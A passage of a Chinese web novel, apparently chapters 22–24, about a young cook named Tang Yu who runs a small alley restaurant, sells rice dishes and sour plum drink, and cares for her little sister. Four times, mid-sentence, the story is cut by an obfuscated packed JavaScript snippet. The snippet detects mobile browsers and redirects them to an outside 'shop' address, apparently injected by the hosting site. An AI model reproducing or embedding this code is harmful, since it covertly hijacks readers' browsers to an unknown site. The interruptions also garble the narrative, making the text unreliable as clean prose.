对方看到她牵着小孩来，打起招呼，“现在学校还没开学，报名也没到时间。” 本市小学不少，但有点名气的这所算一个，因此每个学期入校的学生很多。 “是这样的，我想给妹妹问下学校一学期的学费和书本费要多少钱？” 男老师笑着道，“你妹妹上几年级？” “一年级”，唐玉回道。 “我们学校每学期学费两百，至于书本费二三十，如果在学校用中饭，生活费还要个一百五十。” “不在学校吃，我妹妹有地方吃饭。” “老师，大概什么时候来学校报名？”唐玉又问。 “至少要一个月后，到时候你再带着妹妹来。” 问过学校的事，唐玉对小孩的学费和书本费都能接受，赶紧去菜市场。 摊子上摆着各色各样的蔬菜，叫人应接不暇。 她看到什么番茄豆角几毛钱一斤，直呼便宜。 买了一些，又挑了一大袋空心菜，另外有蘑菇回去炖汤喝。 买好菜，唐玉去挑了鸡肉，一口气买下十来斤鸡肉。 注意到小孩目光停留在瓜果上，她上前买了几个圆圆的甜瓜，听说这里的甜瓜皮特别薄，而且沁甜。 “我们回家吃甜瓜。” “好耶~”小孩拍了拍手，然后想提甜瓜。 不一会儿，两人手上提满东西。 回去开了甜瓜，满满的果肉，口感清甜，而且皮薄不用削皮，吃完甜瓜，唐玉去备好食材。 将空心菜择了，她准备菜叶清炒用，而空心菜杆和辣椒蒜末爆炒。 空心菜杆唐玉切成细碎的颗粒状，辣椒切丁，大蒜切末。 菜叶她留着自己吃，把炒空心菜杆写到菜单上去。 忙完一切，快十点了，每当这个时候就有客人上门。 隔壁女人又来了，略带拘谨，“孩子就想尝尝你家的饭菜，你们这饭菜能便宜点卖吗？” 唐玉：“我们开饭馆的，定好价不好改。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527700|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天有炒空心菜杆和豆角茄子。” 茄子，她家孩子不爱吃，女人：“来个炒空心菜杆吧。” 一看价格四块一份，真不便宜，幸亏不是天天来吃。 那小孩闻到饭菜香，终于停止了哭闹，直勾勾看着厨房。 “叫你嘴馋，非要过来吃，妈这次可没钱了”，女人无奈道。 唐玉把盖浇饭端给他们，女人迅速端过，塞了几块钱给她，然后牵孩子走了。 一回来，男人脸色很难看，“非要回去吃，家里饭菜就没那个味？！” 小孩硬起头皮道，“爸，一会儿你尝尝我的盖浇饭，比家里的饭菜好吃多了。” 看着面前的炒空心菜杆，小孩的口水要流下来了。 那一脸的馋样，叫男人实在没眼看，这才不是他家的小孩，没有那么好吃！ 小孩给男人女人都分了点菜，然后大口吃起来。 这碗盖浇饭空心菜杆老板放了不少，放了红艳艳的辣椒，还有股蒜香味。 今天第一次尝试，吃起来特别脆爽，香辣爽口。 小孩满意地点头，被爸妈打一顿也没事，菜菜好香。 女人闻到香气，眼睛盯着翠绿的空心菜杆，看上去与家里炒的没区别！ 但怎么能这么香呢？ 空心菜杆咬下去真是嘎嘣脆，不过放了辣椒和蒜，味道却酸辣脆爽。 唯一美中不足的是，她盛的米饭太少，不够下饭。 女人努努嘴，“看我们孩子吃的多么香！” 小孩难伺候，嘴巴又挑，一份空心菜杆能将治服的熨帖，不容易。 男人却没话说，严肃的眉眼舒展开来，这份空心菜杆炒的确实让人挑不出差错。 看孩子嘴角沾着油，女人笑了笑，“哎呦空心菜杆就这么好吃？慢点吃不懂吗，我和你爸又不会和你抢！” 男人垂眸心想，这可不一定。 小孩点点头，被香迷糊了，”好吃哦”，比辣条还要美味香。 才十一点多，没到午饭时间，就卖出去几份盖浇饭，连炒面也卖出去六七份。 唐玉端着一锅冬瓜汤出来，放到柜台。 “我煮了冬瓜汤，想喝的客人可以自己来盛，不收钱。” 唐玉说完，留下客人们的惊呼声。 “谢谢老板了！” “祝老板犮大财，对我们真好！” 客人们不缺汤喝，如此高兴，是相信老板连煮的汤都比外面好喝。 最先拿过碗的是王大爷，他就爱喝些汤汤水水，夏天喝最舒服了，冬瓜汤中那股清爽的味道顿时飘出来，光闻着就觉得好消暑。 “这冬瓜汤应该很好喝，来。” 他盛了碗给老伴儿，又去给自己盛碗。 只见冬瓜翠嫩，卧在汤面，汤表面浮着层油光，撒了葱花点缀，很是诱人。 王奶奶眼睛顿时亮起来。 冬瓜很脆嫩，本身清甜偏淡，入口微甜且鲜，老板将冬瓜切的薄，煮至半透明状，而汤喝着很鲜美。 22. 第22章 看似平淡无奇的冬瓜汤，在老板手下，变得妙不可言。 “好喝吗？”王大爷看她埋头喝着，走过来问。 “老板汤煮得好，如果卖汤的话，一天至少能赚个上百。” 清香扑鼻的冬瓜汤十分解暑，里面的冬瓜吃起来软而不绵。 王奶奶不像很多人只喜欢喝汤，这会儿将冬瓜吃个一干二净，还舔了下油亮的嘴，意犹未尽。 听到她夸冬瓜汤的滋味，王大爷有些怀疑，不就是一碗汤吗，真有那么好喝？ 然后低头抿了口汤，入口很是鲜甜，鲜味萦绕在舌尖。 喝完发自内心夸赞，“确实好喝。” 炒空心菜杆盖浇饭端上来，冒着滚滚热气。 脆脆的空心菜微微的酸，辣味恰到好处，让人吃上一口，筷子停不下来，这时再来上口香甜的米饭，更香了。 “一口冬瓜汤一口菜，真是太爽了”，王大爷感叹道。 这一刻胃仿佛活了过来，像个无底洞怎么吃都不饱。 王奶奶也加快速度，捧着碗吃起来。 唐玉再去看冬瓜汤，没剩多少了，眼里带着笑意。 然后去招呼刚进来的客人，点好餐后回厨房炒菜。 唐玉去厨房炒空心菜杆，那香味能飘出去老远，勾得巷子口经过的人进来。 她将上午的零钱收入清点了下，只要饭点一到，客人像潮水样涌进店里。 房东乐呵呵的声音传来，“小玉，店里还有菜吃吗？” “姐有的，你还没吃，我去给你弄饭菜”，看到来人，唐玉立马起身。 小孩在她身边，喊了声“姨姨好”。 “我带了个朋友过来，生意今天好吗？”房东问道。 “还可以。” 房东接着道，“我们先看下菜单，我朋友等下来。” 房东刚坐下不久，从外面进来个打扮时髦，烫了卷发的女人。 女人打量完饭馆，“这家饭馆看着没什么特别，不够大，你怎么非拉我过来？” “这里的家常菜不错”，房东实话实说。 打扮时髦的女人叫向玲，去看菜单，“我告诉你城东有家餐厅不错，那家的烧鹅绝了，虽然不便宜，但每次去，看到不少人在那排队。” “这家比不上城东那家，既然来了，我先看看吃点什么。” 向玲吃过不少山珍海味，豪华大餐，嘴巴挑剔的很。 还是第一次来苍蝇小饭馆吃。 房东这边点了两份盖浇饭和炒面。 向玲有些诧异，”你一个人吃的完？” 房东解释，“给我俩点的，不用担心吃不完。” 闻言，向玲好奇这位好友为什么如此自信。 唐玉先把炒好的面条端上来，她把鸡蛋火腿青菜等食材全加进去，嫩黄的鸡蛋片裹着根根分明的面条，这一盘面条层次分明，香味浓郁。 “看着不错吧”，房东自得道，“不比你之前吃过的餐厅味道差。” 向玲悄悄咽了下口水，目光很难从写着“好吃”二字的炒面条上移开。 强行挑错道，“看起来油乎乎的。” 之前吃过的炒面不是太油，就是太干了，吃上几口很容易腻。 房东眼睛一转，“那要不我先尝尝，你再决定吃不吃。” 她拿来个干净的碗，从盘子夹了些炒面到碗里。 炒面霸道浓烈的香气勾出了房东胃中的馋虫。 刚出锅的炒面最是香了，看着有几分烫嘴，房东用筷子挑起一大坨面条散散热气，然后送进嘴巴里，“香！” 面条很有韧性，筋道十足，鸡蛋口感嫩滑，火腿咸香，还有青菜吃着清爽，正好解了几分腻。 再次吃炒面，房东依旧会为这股味道所折服。 见好友埋头吃着，连嘴角沾上了油都不清楚，向玲蹙起眉头。 注视着面前的炒面，真有这么好吃？！ 如果让她来品尝，应该会很优雅。 向玲立马拿起筷子，顾不上烫嘴，呼哧吃起面条，眼睛因不可置信而睁大。 面条比她想象的要香，不干不腻，配菜很多，味道丰富了不少，并且还夹杂着油香。 这若有似无的油香，叫她并不觉得反胃。 加了勺辣椒酱不断散发出来的香辣气，让她忍不住分泌出唾液，面条都变得很香口，味道好极了。 此刻什么优雅，向玲全部抛之脑后，脑海里只剩下这盘炒面。 “面条有点咸，要不你吃些饭？”她对好友说。 房东摇头，“我没觉得咸啊。” 带着酱汁香的面条填满整个嘴巴，好充实的一种感觉，什么大虾牛肉等山珍海味都比不上。 独享炒面的计划没得逞，向玲有些失望。 吃完酱香浓郁的炒面，还不忘把沾着酱汁的嘴角擦干净。 这味道叫人实在难以忘记！ 房东吃起盖浇饭来，翠绿的空心菜杆卧在白花花的米饭上，不见一点荤腥，但依旧看着让人很有食欲。 这种霸道的香味很难有人抵抗的了！ 向玲直接拿起勺子，满满一勺米饭混合着空心菜杆，香的几乎叫她落泪。 这种黏糊糊的盖浇饭，汤汁渗透进米饭，很是下饭。 等到盘子光了，向玲才反应过来自己吃掉了这么大一盘米饭！ 在打出几个饱嗝后，她看向好友。 肚子饱了但仍有些馋，看房东吃这么香笑了。 “我给孩子打包份盖浇饭，有事先就走了”，向玲说。 房东点点头。 唐玉从厨房出来，这时房东吃好了。 “小玉，刚才我身边那人叫向玲，梧桐巷那块的房东。” 原身家租的房子便宜，但采光不好，而且连续下雨，衣服容易发潮。 唐玉想着赚了钱，有一天要带小孩搬去更好的房子。 和房东提过一嘴，没想到她会记得，梧桐巷那边房子听说普遍采光要好些。 唐玉想了下，“姐，有时间我去梧桐巷那边看下房子。” “我会跟向玲说下”，房东叹了口气，“真不希望你们姐妹们这么快搬走。”这样就再也吃不到唐玉做的好吃的了。 “谢谢姐一片好意”，唐玉笑道，“以后搬走了，我会带可儿过来找姐玩。” “小玉你这空心菜杆炒的好”，房东接着夸道，“很入味。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531358|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午一点多，唐玉姐妹俩才有时间吃午饭。 热烈明媚的阳光照进小小的屋子里。 这空心菜叶很容易做，锅热倒油，下蒜末炒香，然后唐玉放入空心菜，翻炒均匀，放少许盐，就可以出锅了。 开吃前，唐玉给小孩夹空心菜，“多吃点，可儿。” “这青菜好香~”唐可儿吃起来，嘴里都是青菜的清爽，还有股蒜香。 每当这个时候，唐玉最放松了。 吃完空心菜开始吃肉，鸡蛋里的肉片确实比平时好吃的多，非常入味。 吃完午饭，趁困意还没上来，唐玉去把碗筷洗了。 午睡前，有个卖瓜果的大爷在巷子里叫卖，“三毛一斤的西瓜，又大又甜~” 见小孩直勾勾看向外面，她对小孩说，“可儿，想不想去买西瓜？” “想~”唐可儿迟疑片刻点头道，她好久没吃甜甜的西瓜了。 “姐姐带你去买”，唐玉朝她伸出手。 唐可儿眨眨眼，阳光中站着的姐姐好温柔哦。 再回来手里多了个西瓜，唐玉用盆接了盆凉水，西瓜浸泡在凉水中。 “过一会儿再吃”，说完唐玉趴在桌上休息。 五点半，店里豆角没了，现在菜市场早关门了，只能明天去买。 唐玉将菜单上的豆角炒茄子，换成鱼香茄子，价格还一样。 “一份豆角炒茄子。” 唐玉：“不好意思，现在茄子没有了。” 连吃好几天的客人不明所以，一看新菜单，整个人麻了。 他想吃豆角又想吃茄子，但此时只有茄子了。 吃还是不吃，有些难以选择。 客人咬牙道，“那来份鱼香茄子。” 赶过来的夏雨直呼道，“不是吧。” 她经常来唐家饭馆，很喜欢这家的豆角，脆爽可口。 等太阳落山跑过来，却发现豆角没有了！ 唔……天快要塌了。 老板笑着道，“鱼香茄子还是有的，对了还有炒空心菜杆。” 这两个菜都很好炒，几分钟就能炒好一道，出餐不比炒面慢，很多客人喜欢点。 夏雨无可奈何道，“来个鱼香茄子盖浇饭。” “好。” 唐玉回到厨房，再出来端着盘热气腾腾的盖浇饭，轻轻放到夏雨面前。 “谢谢老板！” 只见色泽红亮的茄子夹杂着酱色的细碎肉末，均匀码在米饭上，米饭浸润了茄子的酱汁，细碎的翠绿葱花撒在茄子和肉末上，增添了几分香气，看着非常下饭。 夏雨咕噜吞咽口水，一口米饭混合着茄子送入嘴里，实在太香了。 入口的茄子在热油炸过变得酥脆，内里却很软糯，轻轻一咬，酸甜咸辣的各种滋味在舌尖绽放。 尤其那黏糊浓郁的酱汁，浇在米饭上，增添了米饭的风味，而且减去了茄子的几分油腻。 这软嗒嗒的茄子搭配大颗肉沫，口感软糯，又有嚼劲，夹杂着几分油香，真是好吃的不得了！ 因为怕吃不完，她让老板少盛点饭。 随着底下的米饭越来越少，夏雨意识到完全不够吃，茄子实在下饭的很。 23. 第23章 去盛了半盘饭，夏雨埋头就吃，一口接一口根本停不下来。 等到不知不觉光了盘，才反应过来她怎么吃那么多！ 不是说好晚上要少吃吗，吃多了容易长胖。 到时候这个夏天漂亮的裙子她穿不上了！ 她不仅吃完了，竟然还有些想吃，胃像个无底洞一样。 “老板，打包两份鱼香茄子盖浇饭。” 这么美味的鱼香茄子，可不能只有她一个人享用。 也应该带回去给她妈和老弟尝下。 说不定到时候老妈夸她盖浇饭买的好呢。 一到晚上，小巷子就安静下来，时不时传来几声狗吠。 唐玉牵着小孩回来，小可儿仰起头，在看天上的星星。 或许她是在想天上的爸爸妈妈吧。 第二天清晨，唐玉去找房东拿牛奶。 房东吐槽声传来，“这天太热了，让人怎么过。” “姐，牛奶呢”，唐玉适时出声道。 “哦，我去给你拿。” 接过牛奶，房东问她，“小玉，今天店里准备做些？” “还是炒面和那些盖浇饭？” “继续卖炒面和盖浇饭，但看天气热，我要加个消暑的汤。” “什么汤？”房东眼睛顿时亮了，好奇的很。 “姐你晚些来我们饭馆就知道了”，唐玉打起了哑谜。 外头实在热，唐玉一离开阴凉处，立马打起伞。 “好热，姐姐”，唐可儿吐了吐舌头，擦着额头上的汗。 “等姐姐买完菜，给你买支冰棍吃。” 闻言，小孩露出小虎牙，嘿嘿一笑。 唐玉想着弄个解腻消暑的汤，到了菜市场，摊子罐子里乌亮发亮的梅干吸引了她的注意。 “老板，乌梅干怎么卖的？” 摊主手指比划了下，“八斤一毛。” 听到这，唐玉称了不少乌梅干，又去买山楂干，陈皮，甘草和冰糖。 她想好要熬煮的汤了：酸梅汤。 回到饭馆，第一件事情就是把乌梅干等东西洗干净，然后接水泡。 每到夏天，她在宫中会做类似的汤，乌梅饮，只需些乌梅、桂花和冰糖，熬出一锅浓亮清香的乌梅汤，宫中妃子没一人不爱喝，就靠着乌梅饮撑过漫长炎热的夏天。 泡好食材后，唐玉把锅洗了，乌梅干等东西连同水放锅里，上灶台煮，熬个三四十分钟，她放入冰糖。 没过一会儿，一股浓浓的酸甜味在整个饭馆散开来。 唐玉把火关了，过滤掉残渣，放凉。 她喊来小孩喝酸梅汤。 “这是什么汤？酸酸的”，小孩鼻子凑近碗，闻了闻。 “酸梅汤哦，可儿尝尝看。” 眼前的汤乌黑发亮，在阳光下晶莹剔透，小孩不知道好不好喝，低头小心抿了口汤。 “酸酸甜甜的~”唐可儿先尝到了酸，巴掌大的小脸皱成一团，然后是回甘，小脸舒展开来。 唐玉简单喝了口，放这么多冰糖够了。 乌梅的酸与冰糖裹织在一起，不仅香气沁人心脾，而挺好喝。 她在小黑板写上，酸梅汤三块一份。 还没到中午，来了一些客人，全围在菜单面前。 “这酸梅汤是什么东西？谁喝过吗。” “酸梅汤快跟盖浇饭一个价，卖这么贵，里面放了什么珍贵食材！” “哦酸梅汤啊，酸酸甜甜的，但也不值这么价啊！” “我看老板是狮子大开口，想钱想疯了！” “……” 听到外面的争议吵闹声，唐玉跑出来。 不慌不忙道，“既然大家对酸梅汤如此好奇，我随机挑三位客人，免费品尝下店里的酸梅汤。” 此话一出，大家没话说了，安静下来。 唐玉挑好三位客人，给一人盛一碗酸梅汤。 那三人在犹豫要不要喝，后面的客人叫喊起来，“快喝，说说什么味道！” 酸梅汤端到面前冒着丝丝酸甜气息。喝了酸梅汤的客人发出声感慨，“色泽漂亮，香气浓，还好喝。” 该怎么去形容它的味道呢，入口起先是微微的酸，然后清淡的甜，酸酸甜甜交织在一起，十分醇厚，余味悠长，叫人有些忍不住喝太快。 唇齿间都沾满了酸甜适宜的汁水，流过喉咙，直往胃里。 见此，其他客人给看馋了，赶紧拿出钱，“真有那么好喝？给我来一份酸梅汤！” “我也要一份，不就是三块钱吗。” “别跟我抢，我先要一份酸梅汤！” 大家七嘴八舌，吵得耳根子疼。 不到几分钟，酸梅汤快卖完了。 好不容易挤进人群的房东大声道，“小玉，酸梅汤还有吗？” “有的，给姐留了一份”，唐玉立即道。 幸亏没来晚，房东松了口气，喜出望外，“给我来一份，这是钱。” 钱塞给唐玉，房东端着酸梅汤，去找位置坐下。 低头一抿，酸酸甜甜的汤汁入口，冒着丝丝酸甜的香气，不仅酸甜可口，而且清爽解腻，消去了几分暑气。 好好喝！ 不枉她大老远跑过来喝这酸梅汤，果然叫人回味无穷。 有些客人极喜爱酸梅汤，离开还要打包份酸梅汤带走。 毕竟这酸梅汤的滋味实在酸爽。 后面的客人赶紧问，“老板，酸梅汤还有吗？” “没有了，明天我会多买些食材熬煮。” 她也没想到酸梅汤卖这么好。 李浩直接要了两份酸梅汤，这样完全不担心不够喝，他一口气喝了满满一碗，真够爽啊。 剩下的一份打算带回去给师傅尝尝。 理发店离饭馆不远，但他硬是觉得这条路好长，只能按捺住强烈的渴望，不去看酸梅汤。 好不容易到了理发店，师傅王成站在门口，脸色不太好看，“去哪儿了？” “师傅，我去给你买酸梅汤了”，李浩带着几分讨好道。 “酸梅汤，这什么东西？！”王成指着酸梅汤，不解道。 “师傅，你喝了就知道了”，李浩让他坐下，打开盒盖，酸甜的香气当即窜了出来。 王成眼前一亮，鼻子动了动，凑近喝了口。 “师傅，好喝吧”，李浩有些得意道，他可是一口气就喝完了。 “酸甜浓郁，不失清爽，回味悠长，可比什么名贵酒好喝太多！” 师傅毫不吝啬地夸赞完，又问，“你哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533939|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买的？” “就巷口的小饭馆。” 王成已经大开眼界了，盖浇饭好吃就算了，汤还那么好喝。 要是桂花巷开了其他的饭馆，指定要被唐家饭馆抢走生意！ 王成抖了抖碗里的酸梅汤，不停地咂咂嘴回味。 这酸梅汤太好喝了，连喉咙都舒服不少。 几乎一饮而尽，去问徒弟，“酸梅汤还有吗？” 李浩沉默片刻才说，“师傅，店里酸梅汤应该卖完了，你要还想喝，明天我去买。” 王成轻哼了声，“明天一定要早点去……算了我和你一起去买。” 第二天李浩唯恐去晚了，给客人剪完头发，就去饭馆。 王成怕抢不到酸梅汤，还是第一次见徒弟如此积极。 唐玉才上锅熬煮酸梅汤，准备处理其他食材。 王成师徒俩进来，大声道，“老板在吗，我们来买酸梅汤。” “姐姐，来客人了！”小孩进来提醒她。 唐玉系着围裙出去，“酸梅汤还在熬煮，需要一段时间。” 听到这，王成心想来早了。 没什么事做，李浩笑着打趣道，“老板，我师傅老爱喝你家的酸梅汤了，说这东西好！” “臭小子还敢腹诽师傅是吧？有句话是怎么说的，生津止渴，酸味悠长，实属舌尖上的享受。” 给出这么高的评价，唐玉有几分不好意思。 闻言，李浩挠着头在一旁笑。 很快，唐玉告诉两人，“酸梅汤好了，来一份吗？” “我和我师傅都来一份”，李浩率先道，舔了舔嘴。 买好酸梅汤，两人一喝满是享受，的确是昨天的味道，可口的很。 喝完汤，李浩还回味无穷，“师傅，我们中午吃什么？” “盖浇饭吧，炒面这玩意儿填不饱肚子，再说很油腻。” “这个农家一锅香听上去还不错”，李浩看着菜单喃喃道。 “你去帮我点份农家一锅香，对了让老板放辣点”，王成想都没想道。 今天唐玉吃过早饭，收拾完屋子才出门。 因为出来的晚，她赶紧去菜市场买菜，想着做道有鸡蛋有肉的菜，饭馆鸡蛋还有，那只需要买肉了，原身父母留下来的书籍里正好有这一道菜：农家一锅香。 唐玉买好辣椒，又去买其他食材。 前面两位客人点好餐后，她三下五除二把肉切块，开火热锅。 倒入少量油，将打好的蛋液倒进锅里，煎成嫩黄成形，唐玉盛出备用。 接着将辣椒放入锅里翻炒，放入姜片、蒜苗爆香，紧接着放入五花肉炒至变色，再放入鸡蛋片一起翻炒，加小许调味料，最后放蒜苗叶爆炒出锅。 因为厨房油烟味重，她把厨房打开透气。 香味飘至隔壁邻居家中，快馋哭人了。 “你闻到什么香味了没有？”王成问李浩。 这么浓郁的香气李浩怎么可能没闻到，点点头，“哇，这可香了！” 在两人的期待中，唐玉端来两份盖浇饭，放在他们面前。 “慢用。” 只见鸡蛋片是鲜嫩的金黄色，肉片煸炒过呈焦黄，夹杂着股醇厚的油香，放了不少青红辣椒，看上去非常香辣可口。 24. 第24章 想到上次吃的盖浇饭，王成肚子开始叫了起来。 “这香味一闻就知道好吃”，李浩说完，立马拿起筷子。 这里的肉片不知道怎么炒的，咸香滑嫩，而鸡蛋鲜嫩可口，尤其这青红辣椒清脆香辣，与肉片的油香相互交织，而蒜末有股说不出来的鲜香，不断刺激着味蕾。 农家一锅香成功俘获了李浩的心，让他爱上这种香辣咸鲜的滋味。 顾不上吃脆口的青红辣椒，李浩一口接一口往嘴里塞着饭。 王成都有些傻眼，他徒弟胃口什么时候这么好了？ 放在以前，这么一大盘盖浇饭他能吃个一半就不错。 但李浩今天不仅全吃完了，在打了几个饱嗝后，他竟然盯起自己这份盖浇饭。 “师傅，我能……”李浩胃饱了但还有些馋，小心翼翼道。 “不能”，王成可谓冷酷十足道。 面前的农家一锅香浓郁的香气弥漫开来，让人垂涎欲滴。 王成吞咽了口唾沫，夹起块垂涎已久的肉片，咬下一口，那肉片的鲜嫩与香辣的味道在嘴里交织，滋味实在妙不可言。 唯一美中不足的是没有搭配上热气腾腾的米饭。 挖勺鸡蛋肉片，拌起米饭吃很是美味，非常下饭。 “你就看着我吃吧”，王成突然起了坏心眼，打趣道。 见此，坐在他对面的李浩垂眸，不去看他吃饭。 王成又吃了一筷子连肉带辣椒，毫不收敛吃相。 肉片嫩滑再配上微辣的辣椒，不仅好吃，还特别下饭。 “这老板真有两把刷子！”王成赞不绝口道。 “当然老板看着虽然年轻好说话了点，但没有两把刷子，饭馆能开的下去？！”李浩赞同地点头。 盖浇饭里的肉片王成爱吃，鸡蛋也爱吃，连辣椒都不想放过，加上米饭品质好，香甜软糯，他吃得格外香。 吃完饭，王成去盛汤。 唐玉今天煮了一锅番茄鸡蛋汤，不收钱。 基本上每个客人吃完都会去添汤。 难得这么多人点农家一锅香盖浇饭，端到盖浇饭时，客人一看，有鸡蛋肉片还有辣椒，看着挺丰富，卖相上来说过关。 再说香气诱人，只是经过的路人都被勾进来。 接着拿起筷子一尝，香辣鲜咸等滋味在嘴里绽放开来。 唐玉从厨房出来，厨艺得到认可，心里很是高兴，脸上露出笑意。 夏雨过来的，看到柜台后面的练字本，“老板你还在上学吗？” “不上了，这是我妹妹的本子，她在练字呢。” 闻言，夏雨心里莫名升腾起股惋惜感，“那老板你读书时学习好吗？” “挺好的，经常在班上前几名。” 夏雨更觉得可惜了，虽然说老板手艺好，开饭馆很合适。 “你呢？”唐玉问道。 “我啊读完高中就没读了，现在在纱织厂做工。” “不说了，我要看下吃什么。” 农家一锅香，还是第一次听说这道菜。 夏雨好奇道，“老板，这个农家一锅香里面有什么？” “有鸡蛋有肉还有辣椒。” “给我来一份这个，老板，请不要吝啬你的辣椒”，夏雨口味向来重，无辣不欢。 唐玉应了声，“对了柜台边有番茄鸡蛋汤，你想要喝的话自己去盛，不收钱的。” “好的谢谢老板”，夏雨脸上伤感很快消失，恢复笑嘻嘻的模样道。 汤虽然不要钱，里面却用料真实丰富，放了不少番茄块，还打了几个鸡蛋，浮在油亮的汤面显得很诱人。 夏雨低头直接来了一大口汤。 番茄浸出丰润的汁水，汤带着浓郁的酸味，搭配上鸡蛋的鲜嫩，很是酸酸甜甜。 而且番茄煮得很软烂入味，与细腻的蛋花融合，尝不到鸡蛋的一点腥味，味道整体上鲜美浓郁。 等盖浇饭端上来时，香喷喷的味道直冲面门，比番茄炒蛋的酸甜味冲击力更强。 夏雨捣鼓着米饭与菜，农家一锅香装了小半盘子，底下是白花花的大米饭。 没有放珍稀的食材，卖相也不是很完美，但搅拌一通后，看着让人有胃口了。 鸡蛋和肉片保留了姣好的形状，两者相互纠缠，黄澄澄的鸡蛋与焦黄的肉片搭配起来，色泽鲜亮诱人，香味顺势钻进了鼻孔。 夏雨精神一振，工作一上午的脑袋清醒不少，先是挑起一筷子菜。 香辣的味道在嘴里彻底绽放开来，夏雨有些说不出话来。 其他客人闻到了这股香辣气，盯着夏雨张开嘴尝起来，眉眼顿时舒展开来。 妈呀，她吃到了人生中最美味的盖浇饭！ 咸鲜香辣的滋味真叫人上头，鸡蛋的嫩滑，肉片的爽滑，又不失嚼劲，连辣椒都变得惊艳，非常香口，但不是很辣，越吃越香。 夏雨大口扒拉起盘里的米饭，一点不在意其他人的目光。 其他客人等着菜上来，看她的吃相饿到不行。 “真过瘾！”吃完最后口饭，夏雨发出声感慨。 唐家饭馆左右两边都是住房，巷子里没有其他竞争对手，每到饭点，会吸引不少居民过来。 经常过来吃饭的是小卖部老板的女儿，叫周慧，从一毕业就守起了自家的小卖部，前面时候不常来，可在唐玉开饭馆这段时间，三天两头没少过来。 “姐姐，我没带钱，拿这罐头跟你换行吗？”周慧到了饭馆，才发现口袋空空，冲唐玉撒起娇道。 唐玉拿她没办法，再说老顾客了，“罐头我收下了，你看吃点什么？” 听到这，周慧冲她一笑，指着小黑板道，“这上面的农家一锅香是什么？”她还没尝过呢。 “就是鸡蛋和肉片，再放些辣椒一起炒”，唐玉解释道。 有鸡蛋和肉，荤菜啊，周慧光听着口水要流出来了，“姐姐，我就要这份盖浇饭。” “你等着啊，饿了先去柜台盛些汤垫垫肚子。” 听到有汤喝，周慧赶紧去柜台，拿碗盛汤。 鲜红的番茄块浸在汤里，去了皮后吃起来沙沙的，汁水酸甜可口，而鸡蛋却是很鲜嫩。 周慧喝的两眼放光，不枉她拒绝老爸在家吃的想法，赶来饭馆。 “这番茄鸡蛋汤太对味了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535931|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 碗里飘浮着层清淡的油，油面上是翠绿的葱花和金灿灿的蛋花，蛋花与番茄相互交缠融合，入口后番茄酸甜多汁，蛋花鲜嫩，酸甜爽口。 周慧喝的正起劲，唐玉端着热乎乎的盖浇饭来，忍不住笑了声，客人爱吃便是对她手艺的最大认可。 刚咽下一大口汤，周慧看到老板过来，“盖浇饭这么快做好了？” “慢用哈。” 看着这盘冒着热气的盖浇饭，周慧脑海里窜出两个字：下饭。 她连忙问老板，“店里有喝的吗？” “有酸梅汤。” 周慧挠了挠脸，“来个酸梅汤。” 有这种香辣的饭菜不喝点东西，实在不过瘾。 “我去给你端酸梅汤”，唐玉说。 周慧忍住拿起筷子的冲动，看着老板端酸梅汤过来。 “你的酸梅汤。” 只见汤乌亮透紫，颜色真怪，但色泽很漂亮，周慧凑近闻了下，酸甜味道浓重。 打量完酸梅汤，周慧迫不及待抄起筷子。 盘子上面堆着不少鸡蛋和肉片，搭配些辣椒，底下是白花花的大米饭，那层油亮的汤汁已经充分浸润到米饭里去。 周慧大口咬下块肉片，眼睛冒光，太对味了这肉片！ 切的不大不小，满满的肉香在嘴里化开，咀嚼起来很是香，再来块金灿灿的鸡蛋，嗯蛋香味很浓，口感超级嫩滑，还带着点清甜。 周慧只顾埋头狂吃，疯狂吃肉和鸡蛋，吃完第一碗米饭，又用汤汁拌第二碗饭，里面的辣椒很脆辣下饭。 如果不是肚子撑起来，她要再来第三碗饭。 付款的时候，周慧仍意犹未尽，“老板你做菜好好吃，我感觉怎么吃都吃不饱。” 话落，比了个大拇指。 唐玉也是一脸笑意，“酸梅汤你喝了吗？” “盖浇饭吃太多饱了，我将酸梅汤带回小卖部喝。” 